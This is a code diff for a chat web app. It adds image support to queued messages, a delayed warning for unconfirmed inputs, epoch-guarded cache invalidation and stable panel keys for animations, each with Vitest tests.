-    onQueue?: (text: string) => void;
+    onQueue?: (text: string, images?: ImageInput[]) => void;
     /** Stop the in-flight generation (`POST /conversations/:id/stop`). */
     onStop?: () => void;
     /**
@@ -95,6 +97,8 @@
      * `running` for the send button (steer/stop).
      */
     status?: ComposerStatus;
+    /** Current conversation's queued snapshot size; undefined when unavailable. */
+    queuedMessageCount?: number | undefined;
   } = $props();
 
   export type ComposerStatus = "idle" | "running" | "queued" | "error";
@@ -107,25 +111,23 @@
 
   const hasText = $derived(text.trim().length > 0);
   const hasImages = $derived(images.length > 0);
-  const canSend = $derived(hasText || hasImages);
+  const inFlight = $derived(status === "running" || status === "queued");
+  const canSend = $derived((hasText || hasImages) && (!inFlight || onQueue !== undefined));
   const effectiveMax = $derived(contextWindow ?? FALLBACK_CONTEXT_WINDOW);
   const usage = $derived(computeContextUsage(contextSize, effectiveMax));
 
   // One button, three modes:
   // - idle → "Send" (starts a turn via chat.send)
-  // - running/queued + text → "Queue" (steers via chat.queue — text only)
+  // - running/queued + text/images → "Queue" (steers via chat.queue)
   // - running/queued + empty → "Stop" (aborts via POST /stop)
   // (`queued` behaves like `running` — the turn is in flight, just waiting for a
   // concurrency slot; the user can still steer or stop it.)
-  // Steering never carries images: when running with images staged but no text,
-  // the images stay staged (queue is text-only). Images-without-text while running
-  // is an unusual case that still sends (the server auto-starts/resolves).
-  const inFlight = $derived(status === "running" || status === "queued");
   const buttonMode = $derived.by<"send" | "queue" | "stop">(() => {
     if (inFlight && !hasText && !hasImages && onStop !== undefined) return "stop";
-    if (inFlight && hasText && onQueue !== undefined) return "queue";
+    if (inFlight) return "queue";
     return "send";
   });
+  const stopButton = $derived(stopButtonLabels(queuedMessageCount));
   const placeholder = $derived(
     status === "queued"
       ? "Queued for a slot…"
@@ -283,15 +285,15 @@
     const trimmed = text.trim();
     // Allow a send with images even when text is empty (an image-only turn).
     if (trimmed.length === 0 && !hasImages) return;
-    if (buttonMode === "queue") {
-      // Steering is text-only — never forward images.
-      onQueue?.(trimmed);
+    const toSend = hasImages ? images.map((img) => imageInput(img)) : undefined;
+    if (inFlight) {
+      if (onQueue === undefined) return; // Keep staged input if no queue port is wired.
+      onQueue(trimmed, toSend);
     } else {
-      const toSend: ImageInput[] | undefined = hasImages
-        ? images.map((img) => imageInput(img))
-        : undefined;
       onSend(trimmed, toSend);
     }
+    // Clear only after handing the complete input to a callback. WS is still
+    // fire-and-forget: this does not imply backend storage has completed.
     text = "";
     images = [];
   }
@@ -322,7 +324,7 @@
   <!-- Top bar: expanding textarea + image-attach button + single context-aware button -->
   <div class="flex items-end gap-2 px-4 pt-3 pb-2">
     <div
-      class="flex-1"
+      class="min-w-0 flex-1"
       onpaste={handlePaste}
       class:border-2={dragOver}
       class:border-primary={dragOver}
@@ -374,12 +376,17 @@
 
     {#if buttonMode === "stop"}
       <button
-        class="btn btn-error w-20 shrink-0"
+        class="btn btn-error shrink-0"
+        class:w-20={stopButton.text === "Stop"}
+        class:w-36={stopButton.text !== "Stop"}
+        class:whitespace-normal={stopButton.text !== "Stop"}
+        class:leading-tight={stopButton.text !== "Stop"}
         type="button"
-        aria-label="Stop generation"
+        aria-label={stopButton.ariaLabel}
+        title={stopButton.title}
         onclick={() => onStop?.()}
       >
-        Stop
+        {stopButton.text}
       </button>
     {:else}
       <button class="btn btn-primary w-20 shrink-0" type="submit" disabled={!canSend}>
diff --git a/src/features/chat/ui/PendingInputWarning.svelte b/src/features/chat/ui/PendingInputWarning.svelte
new file mode 100644
index 0000000..c9e675e
--- /dev/null
+++ b/src/features/chat/ui/PendingInputWarning.svelte
@@ -0,0 +1,47 @@
+<script lang="ts">
+  import { onMount } from "svelte";
+  import type { PendingInput } from "../pending-inputs";
+
+  let {
+    input,
+    onDiscard,
+  }: {
+    input: PendingInput;
+    onDiscard: (requestId: string) => void;
+  } = $props();
+
+  let visible = $state(false);
+
+  // Presentation only: each keyed row gets one grace period, including restored
+  // or rejected inputs. Prop updates never restart it. Confirmation/discard
+  // removes the row, cancelling the timer along with any other unmount.
+  onMount(() => {
+    const timer = setTimeout(() => {
+      visible = true;
+    }, 1000);
+    return () => clearTimeout(timer);
+  });
+</script>
+
+{#if visible}
+  <div class="m-3 rounded border border-warning p-3 text-sm" role="status">
+    <p>
+      {input.rejection
+        ? `Message rejected: ${input.rejection}`
+        : "Delivery unconfirmed. Your input is saved on this device."}
+    </p>
+    <p>Check the conversation history before sending again to avoid a duplicate.</p>
+    <textarea
+      class="textarea textarea-bordered mt-2 w-full"
+      aria-label="Saved message"
+      readonly
+      value={input.request.type === "chat.send" ? input.request.message : input.request.text}
+    ></textarea>
+    {#each input.request.images ?? [] as image}
+      <img class="my-2 max-h-32" src={image.url} alt="Saved attachment" />
+    {/each}
+    <button class="btn btn-sm mt-2" onclick={() => onDiscard(input.request.requestId)}
+      >Discard saved copy</button
+    >
+  </div>
+{/if}
diff --git a/src/features/chat/ui/PendingInputs.svelte b/src/features/chat/ui/PendingInputs.svelte
new file mode 100644
index 0000000..dcb7aee
--- /dev/null
+++ b/src/features/chat/ui/PendingInputs.svelte
@@ -0,0 +1,16 @@
+<script lang="ts">
+  import type { PendingInput } from "../pending-inputs";
+  import PendingInputWarning from "./PendingInputWarning.svelte";
+
+  let {
+    inputs,
+    onDiscard,
+  }: {
+    inputs: readonly PendingInput[];
+    onDiscard: (requestId: string) => void;
+  } = $props();
+</script>
+
+{#each inputs as input (input.request.requestId)}
+  <PendingInputWarning {input} {onDiscard} />
+{/each}
diff --git a/src/features/chat/ui/PendingInputs.test.ts b/src/features/chat/ui/PendingInputs.test.ts
new file mode 100644
index 0000000..cea770d
--- /dev/null
+++ b/src/features/chat/ui/PendingInputs.test.ts
@@ -0,0 +1,217 @@
+import { cleanup, fireEvent, render, screen } from "@testing-library/svelte";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import type { PendingInput } from "../pending-inputs";
+import { createChatStore } from "../store.svelte";
+import {
+  createFakeCache,
+  createFakeHistorySync,
+  createFakeMetricsSync,
+  createFakeTransport,
+} from "../test-helpers";
+import PendingInputs from "./PendingInputs.svelte";
+
+function input(requestId: string, type: "chat.send" | "chat.queue" = "chat.send"): PendingInput {
+  return {
+    request: {
+      ...(type === "chat.send" ? { type, message: requestId } : { type, text: requestId }),
+      conversationId: "c",
+      requestId,
+      images: [{ url: "data:image/png;base64,AAAA", mimeType: "image/png" }],
+    },
+  };
+}
+
+beforeEach(() => vi.useFakeTimers());
+afterEach(() => {
+  cleanup();
+  const remaining = vi.getTimerCount();
+  vi.useRealTimers();
+  expect(remaining).toBe(0);
+});
+
+describe("pending input warning grace period", () => {
+  it.each([
+    "chat.send",
+    "chat.queue",
+  ] as const)("renders no %s recovery UI before 1000 ms, then keeps its content stable", async (type) => {
+    const { container } = render(PendingInputs, {
+      inputs: [input("saved message", type)],
+      onDiscard: vi.fn(),
+    });
+    expect(container.children).toHaveLength(0);
+    expect(container.textContent).toBe("");
+    await vi.advanceTimersByTimeAsync(999);
+    expect(container.children).toHaveLength(0);
+    expect(container.textContent).toBe("");
+    expect(screen.queryByRole("status")).toBeNull();
+    await vi.advanceTimersByTimeAsync(1);
+    const warning = screen.getByRole("status");
+    expect(warning).toHaveTextContent("Delivery unconfirmed. Your input is saved on this device.");
+    expect(warning).toHaveTextContent(
+      "Check the conversation history before sending again to avoid a duplicate.",
+    );
+    expect(screen.getByRole("textbox", { name: "Saved message" })).toHaveValue("saved message");
+    expect(screen.getByRole("img", { name: "Saved attachment" })).toHaveAttribute(
+      "src",
+      "data:image/png;base64,AAAA",
+    );
+    const content = warning.innerHTML;
+    await vi.advanceTimersByTimeAsync(10_000);
+    expect(screen.getByRole("status")).toBe(warning);
+    expect(warning.innerHTML).toBe(content);
+  });
+
+  it.each([
+    "confirmation",
+    "discard",
+  ])("%s before the threshold cancels the timer and never flashes later", async (resolution) => {
+    const transport = createFakeTransport();
+    const save = vi.fn();
+    const store = createChatStore({
+      conversationId: "c",
+      createRequestId: () => "first",
+      transport: transport.impl,
+      historySync: createFakeHistorySync().impl,
+      metricsSync: createFakeMetricsSync().impl,
+      cache: createFakeCache().impl,
+      pendingInputStorage: { load: () => [], save },
+    });
+    try {
+      store.send("first");
+      // Saving and transmission stay immediate, independent of warning display.
+      expect(save).toHaveBeenCalledExactlyOnceWith(store.pendingInputs);
+      expect(transport.sent).toHaveLength(1);
+      const { container, rerender } = render(PendingInputs, {
+        inputs: store.pendingInputs,
+        onDiscard: store.discardPendingInput,
+      });
+      await vi.advanceTimersByTimeAsync(999);
+      if (resolution === "confirmation") {
+        store.handleDelta({ type: "chat.accepted", conversationId: "c", requestId: "first" });
+      } else {
+        store.discardPendingInput("first");
+      }
+      expect(store.pendingInputs).toEqual([]);
+      expect(save).toHaveBeenLastCalledWith([]);
+      await rerender({ inputs: store.pendingInputs });
+      expect(vi.getTimerCount()).toBe(0);
+      expect(container.children).toHaveLength(0);
+      expect(container.textContent).toBe("");
+      await vi.advanceTimersByTimeAsync(10_000);
+      expect(container.children).toHaveLength(0);
+      expect(container.textContent).toBe("");
+    } finally {
+      store.dispose();
+    }
+  });
+
+  it("hides an already visible warning immediately on confirmation", async () => {
+    const { container, rerender } = render(PendingInputs, {
+      inputs: [input("first")],
+      onDiscard: vi.fn(),
+    });
+    await vi.advanceTimersByTimeAsync(1000);
+    expect(screen.getByRole("status")).toBeInTheDocument();
+    await rerender({ inputs: [] });
+    expect(container.children).toHaveLength(0);
+    expect(container.textContent).toBe("");
+  });
+
+  it("preserves the discard action and hides the saved copy without another delay", async () => {
+    const onDiscard = vi.fn();
+    const { container, rerender } = render(PendingInputs, {
+      inputs: [input("first")],
+      onDiscard,
+    });
+    await vi.advanceTimersByTimeAsync(1000);
+    await fireEvent.click(screen.getByRole("button", { name: "Discard saved copy" }));
+    expect(onDiscard).toHaveBeenCalledExactlyOnceWith("first");
+    await rerender({ inputs: [] });
+    expect(container.children).toHaveLength(0);
+    expect(container.textContent).toBe("");
+  });
+
+  it("cancels all waiting timers on unmount", async () => {
+    const { unmount } = render(PendingInputs, {
+      inputs: [input("first"), input("second")],
+      onDiscard: vi.fn(),
+    });
+    expect(vi.getTimerCount()).toBe(2);
+    await vi.advanceTimersByTimeAsync(500);
+    unmount();
+    expect(vi.getTimerCount()).toBe(0);
+    await vi.advanceTimersByTimeAsync(10_000);
+    expect(screen.queryByRole("status")).toBeNull();
+  });
+
+  it("gives successive inputs independent delays without restarting existing rows", async () => {
+    const first = input("first");
+    const second = input("second");
+    const { rerender } = render(PendingInputs, { inputs: [first], onDiscard: vi.fn() });
+    await vi.advanceTimersByTimeAsync(600);
+    await rerender({ inputs: [second, { ...first }], onDiscard: vi.fn() });
+    await vi.advanceTimersByTimeAsync(399);
+    expect(screen.queryByRole("status")).toBeNull();
+    await vi.advanceTimersByTimeAsync(1);
+    const warning = screen.getByRole("status");
+    expect(screen.getByRole("textbox")).toHaveValue("first");
+    await rerender({ inputs: [{ ...second }, { ...first }], onDiscard: vi.fn() });
+    await vi.advanceTimersByTimeAsync(599);
+    expect(screen.getAllByRole("status")).toEqual([warning]);
+    await vi.advanceTimersByTimeAsync(1);
+    expect(
+      screen.getAllByRole("textbox").map((node) => (node as HTMLTextAreaElement).value),
+    ).toEqual(["second", "first"]);
+    // Removing the older warning must not re-hide/restart the newer warning.
+    await rerender({ inputs: [second] });
+    expect(screen.getByRole("textbox")).toHaveValue("second");
+    expect(vi.getTimerCount()).toBe(0);
+  });
+
+  it("starts a fresh delay after an earlier input was confirmed during its grace period", async () => {
+    const { rerender } = render(PendingInputs, { inputs: [input("first")], onDiscard: vi.fn() });
+    await vi.advanceTimersByTimeAsync(600);
+    await rerender({ inputs: [] });
+    await rerender({ inputs: [input("second")] });
+    await vi.advanceTimersByTimeAsync(999);
+    expect(screen.queryByRole("status")).toBeNull();
+    await vi.advanceTimersByTimeAsync(1);
+    expect(screen.getByRole("textbox")).toHaveValue("second");
+  });
+
+  it("keeps the original deadline when rejection arrives, and updates visible content immediately", async () => {
+    const pending = input("first");
+    const { rerender } = render(PendingInputs, { inputs: [pending], onDiscard: vi.fn() });
+    await vi.advanceTimersByTimeAsync(600);
+    await rerender({ inputs: [{ ...pending, rejection: "disk full" }] });
+    await vi.advanceTimersByTimeAsync(399);
+    expect(screen.queryByRole("status")).toBeNull();
+    await vi.advanceTimersByTimeAsync(1);
+    const warning = screen.getByRole("status");
+    expect(warning).toHaveTextContent("Message rejected: disk full");
+    expect(warning).not.toHaveTextContent("Delivery unconfirmed");
+    await rerender({ inputs: [{ ...pending, rejection: "still rejected" }] });
+    expect(screen.getByRole("status")).toBe(warning);
+    expect(warning).toHaveTextContent("Message rejected: still rejected");
+    expect(vi.getTimerCount()).toBe(0);
+  });
+
+  it.each([
+    undefined,
+    "disk full",
+  ])("restored entries (rejection: %s) use the same grace period and retain recovery content", async (rejection) => {
+    const restored = input("restored saved message");
+    render(PendingInputs, {
+      inputs: [rejection === undefined ? restored : { ...restored, rejection }],
+      onDiscard: vi.fn(),
+    });
+    await vi.advanceTimersByTimeAsync(999);
+    expect(screen.queryByRole("status")).toBeNull();
+    await vi.advanceTimersByTimeAsync(1);
+    expect(screen.getByRole("status")).toHaveTextContent(
+      rejection === undefined ? "Delivery unconfirmed" : "Message rejected: disk full",
+    );
+    expect(screen.getByRole("textbox")).toHaveValue("restored saved message");
+    expect(screen.getByRole("button", { name: "Discard saved copy" })).toBeEnabled();
+  });
+});
diff --git a/src/features/conversation-cache/cache.test.ts b/src/features/conversation-cache/cache.test.ts
index ce1c60c..72b4e20 100644
--- a/src/features/conversation-cache/cache.test.ts
+++ b/src/features/conversation-cache/cache.test.ts
@@ -15,8 +15,16 @@ const chunk = (seq: number, role: "user" | "assistant" = "user"): StoredChunk =>
  */
 function createFakeStore(): ConversationChunkStore {
   const store = new Map<string, StoredChunk[]>();
+  const epochs = new Map<string, number>();
 
   return {
+    async historyEpoch(id) {
+      return epochs.get(id);
+    },
+    async reset(id, epoch) {
+      store.delete(id);
+      epochs.set(id, epoch);
+    },
     async load(conversationId) {
       return store.get(conversationId) ?? [];
     },
@@ -33,6 +41,7 @@ function createFakeStore(): ConversationChunkStore {
 
     async delete(conversationId) {
       store.delete(conversationId);
+      epochs.delete(conversationId);
     },
 
     async index() {
@@ -195,3 +204,48 @@ describe("cache.delete", () => {
     expect(result).toEqual([]);
   });
 });
+
+it("serializes invalidation and rejects stale epoch commits", async () => {
+  const store = createFakeStore();
+  const cache = createConversationCache(store);
+  await store.append("c", [chunk(1)]); // Legacy rows have no trusted epoch.
+  expect(await cache.commit("c", [chunk(101)], 1)).toEqual([chunk(101)]);
+  await Promise.all([cache.commit("c", [chunk(102)], 1), cache.reset("c", 2)]);
+  expect(await cache.commit("c", [chunk(103)], 1)).toEqual([]);
+  expect(await store.historyEpoch("c")).toBe(2);
+});
+
+it("replaces a confirmed full history at a lower epoch, without trusting stale commits", async () => {
+  const store = createFakeStore();
+  const cache = createConversationCache(store);
+  await cache.commit("c", [chunk(9)], 5);
+  expect(await cache.replace("c", [chunk(1)], 1, 5)).toBe(true);
+  expect(await cache.historyEpoch("c")).toBe(1);
+  expect(await cache.load("c")).toEqual([chunk(1)]);
+  expect(await cache.commit("c", [chunk(9)], 5)).toEqual([chunk(1)]);
+  // A delayed full response started against epoch 5 must not restore it.
+  expect(await cache.replace("c", [chunk(9)], 5, 5)).toBe(false);
+  expect(await cache.load("c")).toEqual([chunk(1)]);
+});
+
+it("serializes a guarded replacement behind newer invalidation", async () => {
+  const store = createFakeStore();
+  const cache = createConversationCache(store);
+  await cache.commit("c", [chunk(9)], 5);
+  const resetting = cache.reset("c", 6);
+  const replacing = cache.replace("c", [chunk(1)], 1, 5);
+  await resetting;
+  expect(await replacing).toBe(false);
+  expect(await cache.historyEpoch("c")).toBe(6);
+  expect(await cache.load("c")).toEqual([]);
+});
+
+it("allows an empty replacement and a legacy cache only if its observed epoch still matches", async () => {
+  const store = createFakeStore();
+  const cache = createConversationCache(store);
+  await store.append("c", [chunk(9)]);
+  expect(await cache.replace("c", [], 0, undefined)).toBe(true);
+  expect(await cache.sinceSeq("c")).toBe(0);
+  expect(await cache.historyEpoch("c")).toBe(0);
+  expect(await cache.replace("c", [chunk(9)], 2, undefined)).toBe(false);
+});
diff --git a/src/features/conversation-cache/cache.ts b/src/features/conversation-cache/cache.ts
index 4953944..600a6e6 100644
--- a/src/features/conversation-cache/cache.ts
+++ b/src/features/conversation-cache/cache.ts
@@ -3,6 +3,22 @@ import { nextSinceSeq, reconcileCache, selectEvictions } from "./logic";
 import type { ConversationChunkStore } from "./types";
 
 export interface ConversationCache {
+  historyEpoch(conversationId: string): Promise<number | undefined>;
+  reset(conversationId: string, historyEpoch: number): Promise<void>;
+
+  /**
+   * Replace from a fresh full-history response, including an epoch decrease.
+   * Only succeeds if the cache still has the epoch observed BEFORE that request.
+   * Unlike monotonic reset/commit, this is for confirmed server authority, not
+   * broadcasts or cursor/backfill responses. False means the response is stale.
+   */
+  replace(
+    conversationId: string,
+    incoming: readonly StoredChunk[],
+    historyEpoch: number,
+    expectedEpoch: number | undefined,
+  ): Promise<boolean>;
+
   /** Load all cached chunks for a conversation. */
   load(conversationId: string): Promise<readonly StoredChunk[]>;
 
@@ -10,7 +26,11 @@ export interface ConversationCache {
    * Load + reconcile + append new chunks.
    * Returns the merged cache (the new authoritative cache for this conversation).
    */
-  commit(conversationId: string, incoming: readonly StoredChunk[]): Promise<readonly StoredChunk[]>;
+  commit(
+    conversationId: string,
+    incoming: readonly StoredChunk[],
+    historyEpoch?: number,
+  ): Promise<readonly StoredChunk[]>;
 
   /** Return the `?sinceSeq=` cursor for the next incremental sync. */
   sinceSeq(conversationId: string): Promise<number>;
@@ -43,21 +63,61 @@ export function createConversationCache(
 ): ConversationCache {
   const maxChunks = opts?.maxChunks ?? DEFAULT_MAX_CHUNKS;
 
+  // Serialize mutation per conversation, including invalidation, so an old fetch
+  // cannot resurrect rows after a compaction broadcast has invalidated them.
+  const pending = new Map<string, Promise<unknown>>();
+  function exclusive<T>(id: string, run: () => Promise<T>): Promise<T> {
+    const next = (pending.get(id) ?? Promise.resolve()).catch(() => {}).then(run);
+    pending.set(id, next);
+    void next
+      .finally(() => {
+        if (pending.get(id) === next) pending.delete(id);
+      })
+      .catch(() => {});
+    return next;
+  }
   return {
+    historyEpoch: async (id) => {
+      await pending.get(id);
+      return store.historyEpoch(id);
+    },
+    reset: (id, epoch) =>
+      exclusive(id, async () => {
+        const current = await store.historyEpoch(id);
+        if (current === undefined || current < epoch) await store.reset(id, epoch);
+      }),
+    replace: (id, incoming, epoch, expectedEpoch) =>
+      exclusive(id, async () => {
+        if ((await store.historyEpoch(id)) !== expectedEpoch) return false;
+        await store.reset(id, epoch);
+        if (incoming.length > 0) await store.append(id, incoming);
+        return true;
+      }),
     async load(conversationId) {
+      await pending.get(conversationId);
       return store.load(conversationId);
     },
 
-    async commit(conversationId, incoming) {
-      const cached = await store.load(conversationId);
-      const { merged, toAppend } = reconcileCache(cached, incoming);
-      if (toAppend.length > 0) {
-        await store.append(conversationId, toAppend);
-      }
-      return merged;
+    commit(conversationId, incoming, epoch) {
+      return exclusive(conversationId, async () => {
+        if (epoch !== undefined) {
+          const current = await store.historyEpoch(conversationId);
+          // Once an epoch is known, only explicit invalidation or guarded
+          // full-history replacement may change it (in either direction).
+          if (current !== undefined && current !== epoch) return store.load(conversationId);
+          if (current !== epoch) await store.reset(conversationId, epoch);
+        }
+        const cached = await store.load(conversationId);
+        const { merged, toAppend } = reconcileCache(cached, incoming);
+        if (toAppend.length > 0) {
+          await store.append(conversationId, toAppend);
+        }
+        return merged;
+      });
     },
 
     async sinceSeq(conversationId) {
+      await pending.get(conversationId);
       const cached = await store.load(conversationId);
       return nextSinceSeq(cached);
     },
@@ -72,7 +132,7 @@ export function createConversationCache(
     },
 
     async delete(conversationId) {
-      await store.delete(conversationId);
+      await exclusive(conversationId, () => store.delete(conversationId));
     },
   };
 }
diff --git a/src/features/conversation-cache/types.ts b/src/features/conversation-cache/types.ts
index 345ab71..a273f34 100644
--- a/src/features/conversation-cache/types.ts
+++ b/src/features/conversation-cache/types.ts
@@ -17,6 +17,10 @@ export interface ConversationCacheIndexEntry {
  * All methods MUST be idempotent on `seq`: re-appending an existing seq is a no-op.
  */
 export interface ConversationChunkStore {
+  historyEpoch(conversationId: string): Promise<number | undefined>;
+  /** Atomically replace cached rows with empty history at this epoch. */
+  reset(conversationId: string, historyEpoch: number): Promise<void>;
+
   /** Load all cached chunks for a conversation, seq-ordered. Returns [] if absent. */
   load(conversationId: string): Promise<readonly StoredChunk[]>;
 
diff --git a/src/features/heartbeat/ui/RunModal.svelte b/src/features/heartbeat/ui/RunModal.svelte
index 92068ae..12e248a 100644
--- a/src/features/heartbeat/ui/RunModal.svelte
+++ b/src/features/heartbeat/ui/RunModal.svelte
@@ -154,6 +154,7 @@
 				{:else}
 					<ChatView
 						chunks={chat.chunks}
+						recovering={chat.recovering}
 						turnMetrics={chat.turnMetrics}
 						hasEarlier={chat.hasEarlier}
 						onShowEarlier={chat.showEarlier}
diff --git a/src/features/layout/adapter/http.test.ts b/src/features/layout/adapter/http.test.ts
index cc7d7e9..30e194a 100644
--- a/src/features/layout/adapter/http.test.ts
+++ b/src/features/layout/adapter/http.test.ts
@@ -77,7 +77,7 @@ describe("createLayoutHttp — getTree", () => {
   it("a malformed 200 (SPA-fallback JSON without a tree) degrades to notFound", async () => {
     const http = createLayoutHttp(
       "http://backend.test",
-      fetchReturning(200, { chunks: [], latestSeq: 0 }),
+      fetchReturning(200, { chunks: [], historyEpoch: 0, latestSeq: 0 }),
     );
     const result = await http.getTree("ws-a");
     expect(result).toMatchObject({ ok: false, notFound: true });
diff --git a/src/features/layout/logic/panel-keys.test.ts b/src/features/layout/logic/panel-keys.test.ts
new file mode 100644
index 0000000..b45671a
--- /dev/null
+++ b/src/features/layout/logic/panel-keys.test.ts
@@ -0,0 +1,73 @@
+import { describe, expect, it } from "vitest";
+import { initialPanelKeys, reconcilePanelKeys, swappedPanels } from "./panel-keys";
+
+describe("initialPanelKeys", () => {
+  it("numbers the panels in order and seeds past them", () => {
+    expect(initialPanelKeys(["tabs", "model"])).toEqual({
+      views: ["tabs", "model"],
+      keys: [0, 1],
+      seed: 2,
+    });
+  });
+});
+
+describe("reconcilePanelKeys", () => {
+  const start = initialPanelKeys(["tabs", "model", "usage"]); // keys 0 1 2
+
+  it("closing the MIDDLE panel drops the middle key (not the last)", () => {
+    const next = reconcilePanelKeys(start, ["tabs", "usage"]);
+    expect(next.keys).toEqual([0, 2]);
+    expect(next.seed).toBe(3);
+  });
+
+  it("adding a panel gives only the new one a fresh key", () => {
+    const next = reconcilePanelKeys(start, ["tabs", "model", "usage", "lsp"]);
+    expect(next.keys).toEqual([0, 1, 2, 3]);
+    expect(next.seed).toBe(4);
+  });
+
+  it("a dropdown swap keeps every key positional", () => {
+    const next = reconcilePanelKeys(start, ["tabs", "lsp", "usage"]);
+    expect(next.keys).toEqual([0, 1, 2]);
+  });
+
+  it("handles duplicate views and never reuses a key", () => {
+    const dup = initialPanelKeys(["a", "b", "a"]); // 0 1 2
+    const removed = reconcilePanelKeys(dup, ["a", "a"]);
+    expect(removed.keys).toEqual([0, 2]);
+    const added = reconcilePanelKeys(removed, ["a", "a", "a"]);
+    expect(added.keys).toEqual([0, 2, 3]);
+    expect(new Set(added.keys).size).toBe(3);
+  });
+
+  it("a ✕ hint picks the exact panel when identical views make it ambiguous", () => {
+    const twins = initialPanelKeys(["model", "usage", "usage"]); // 0 1 2
+    expect(reconcilePanelKeys(twins, ["model", "usage"]).keys).toEqual([0, 1]); // no hint
+    expect(reconcilePanelKeys(twins, ["model", "usage"], 1).keys).toEqual([0, 2]);
+  });
+
+  it("ignores a stale hint that does not describe the change", () => {
+    // The tree changed some other way (e.g. a remote edit) — fall back to LCS.
+    expect(reconcilePanelKeys(start, ["tabs", "model"], 0).keys).toEqual([0, 1]);
+    expect(reconcilePanelKeys(start, ["tabs", "model", "usage"], 1).keys).toEqual([0, 1, 2]);
+  });
+
+  it("an unrelated replacement of different length gets all-fresh keys", () => {
+    const next = reconcilePanelKeys(start, ["x"]);
+    expect(next.keys).toEqual([3]);
+  });
+});
+
+describe("swappedPanels", () => {
+  it("reports a surviving panel whose view changed", () => {
+    const prev = initialPanelKeys(["tabs", "model"]);
+    const next = reconcilePanelKeys(prev, ["tabs", "usage"]);
+    expect([...swappedPanels(prev, next)]).toEqual([[1, { from: "model", to: "usage" }]]);
+  });
+
+  it("does not report adds or removes", () => {
+    const prev = initialPanelKeys(["tabs", "model", "usage"]);
+    expect(swappedPanels(prev, reconcilePanelKeys(prev, ["tabs", "usage"])).size).toBe(0);
+    expect(swappedPanels(prev, reconcilePanelKeys(prev, [...prev.views, "lsp"])).size).toBe(0);
+  });
+});
diff --git a/src/features/layout/logic/panel-keys.ts b/src/features/layout/logic/panel-keys.ts
new file mode 100644
index 0000000..76a053f
--- /dev/null
+++ b/src/features/layout/logic/panel-keys.ts
@@ -0,0 +1,118 @@
+/**
+ * Stable panel keys — the PURE identity scheme behind the panel height
+ * animation.
+ *
+ * Panel leaves carry no required id, so the panels list can't be keyed by the
+ * tree. Keying by INDEX is wrong for removal: closing the middle of three
+ * panels would re-use the middle DOM node for the third view and animate the
+ * LAST panel out. This reconciles a stable numeric key per panel across tree
+ * updates, from the view ids alone:
+ *
+ *  - same length → keys stay positional (a dropdown SWAP keeps its panel —
+ *    the panel morphs its height to the new view instead of leaving).
+ *  - length changed → the longest common subsequence of view ids keeps its
+ *    keys; every unmatched new panel gets a fresh key (an ADD), every
+ *    unmatched old key disappears (a REMOVE).
+ *
+ * Zero Svelte, zero DOM.
+ */
+
+export interface PanelKeys {
+  /** View id per panel, in order. */
+  readonly views: readonly string[];
+  /** Stable key per panel, aligned with `views`. */
+  readonly keys: readonly number[];
+  /** The next fresh key. */
+  readonly seed: number;
+}
+
+/** Keys for a freshly mounted panels list. */
+export function initialPanelKeys(views: readonly string[]): PanelKeys {
+  return { views: [...views], keys: views.map((_, i) => i), seed: views.length };
+}
+
+/**
+ * Reconcile `prev` against the next view list (see the module doc).
+ *
+ * `removedIndex` is an optional HINT from a local ✕ click: when the next list
+ * is exactly `prev` minus that index, that exact panel is the one removed.
+ * Without it, closing one of two identical adjacent views is ambiguous to the
+ * subsequence match (it would drop the later one).
+ */
+export function reconcilePanelKeys(
+  prev: PanelKeys,
+  nextViews: readonly string[],
+  removedIndex?: number,
+): PanelKeys {
+  if (removedIndex !== undefined && isRemovalAt(prev.views, nextViews, removedIndex)) {
+    return {
+      views: [...nextViews],
+      keys: prev.keys.filter((_, i) => i !== removedIndex),
+      seed: prev.seed,
+    };
+  }
+  if (nextViews.length === prev.views.length) {
+    return { views: [...nextViews], keys: [...prev.keys], seed: prev.seed };
+  }
+  const matched = lcsMatch(prev.views, nextViews);
+  let seed = prev.seed;
+  const keys = nextViews.map((_, j) => {
+    const i = matched.get(j);
+    if (i !== undefined) return prev.keys[i] ?? seed++;
+    return seed++;
+  });
+  return { views: [...nextViews], keys, seed };
+}
+
+/**
+ * The views whose panel SURVIVED but now mounts a different view (a swap):
+ * key → { from, to }. Adds/removes are not swaps.
+ */
+export function swappedPanels(
+  prev: PanelKeys,
+  next: PanelKeys,
+): Map<number, { from: string; to: string }> {
+  const before = new Map(prev.keys.map((k, i) => [k, prev.views[i] ?? ""]));
+  const out = new Map<number, { from: string; to: string }>();
+  next.keys.forEach((k, i) => {
+    const from = before.get(k);
+    const to = next.views[i] ?? "";
+    if (from !== undefined && from !== to) out.set(k, { from, to });
+  });
+  return out;
+}
+
+function isRemovalAt(prev: readonly string[], next: readonly string[], index: number): boolean {
+  if (index < 0 || index >= prev.length || next.length !== prev.length - 1) return false;
+  return next.every((v, j) => v === prev[j < index ? j : j + 1]);
+}
+
+/** LCS alignment: next index → prev index for every matched element. */
+function lcsMatch(a: readonly string[], b: readonly string[]): Map<number, number> {
+  const n = a.length;
+  const m = b.length;
+  // dp[i][j] = LCS length of a[i..] and b[j..]
+  const dp: number[][] = Array.from({ length: n + 1 }, () => new Array<number>(m + 1).fill(0));
+  for (let i = n - 1; i >= 0; i--) {
+    for (let j = m - 1; j >= 0; j--) {
+      const row = dp[i] as number[];
+      const below = dp[i + 1] as number[];
+      row[j] = a[i] === b[j] ? (below[j + 1] ?? 0) + 1 : Math.max(below[j] ?? 0, row[j + 1] ?? 0);
+    }
+  }
+  const out = new Map<number, number>();
+  let i = 0;
+  let j = 0;
+  while (i < n && j < m) {
+    if (a[i] === b[j]) {
+      out.set(j, i);
+      i++;
+      j++;
+    } else if ((dp[i + 1]?.[j] ?? 0) >= (dp[i]?.[j + 1] ?? 0)) {
+      i++;
+    } else {
+      j++;
+    }
+  }
+  return out;
+}
diff --git a/src/features/layout/ui/TilePanels.svelte b/src/features/layout/ui/TilePanels.svelte
index 9162b00..cc5fa89 100644
--- a/src/features/layout/ui/TilePanels.svelte
+++ b/src/features/layout/ui/TilePanels.svelte
@@ -8,9 +8,17 @@
    */
   import type { LayoutOp, PanelsNode, Path } from "@dispatch/layout-contract";
   import PlusIcon from "phosphor-svelte/lib/PlusIcon";
+  import { untrack } from "svelte";
   import { viewRegistry } from "../logic/registry";
   import { addPanelOp, firstPanelView, removePanelOp, swapPanelOp } from "../logic/panels-edit";
+  import {
+    initialPanelKeys,
+    type PanelKeys,
+    reconcilePanelKeys,
+    swappedPanels,
+  } from "../logic/panel-keys";
   import { markerStyle } from "../logic/marker";
+  import { morphPanelHeight, panelGrowIn, panelShrinkOut } from "./panel-motion";
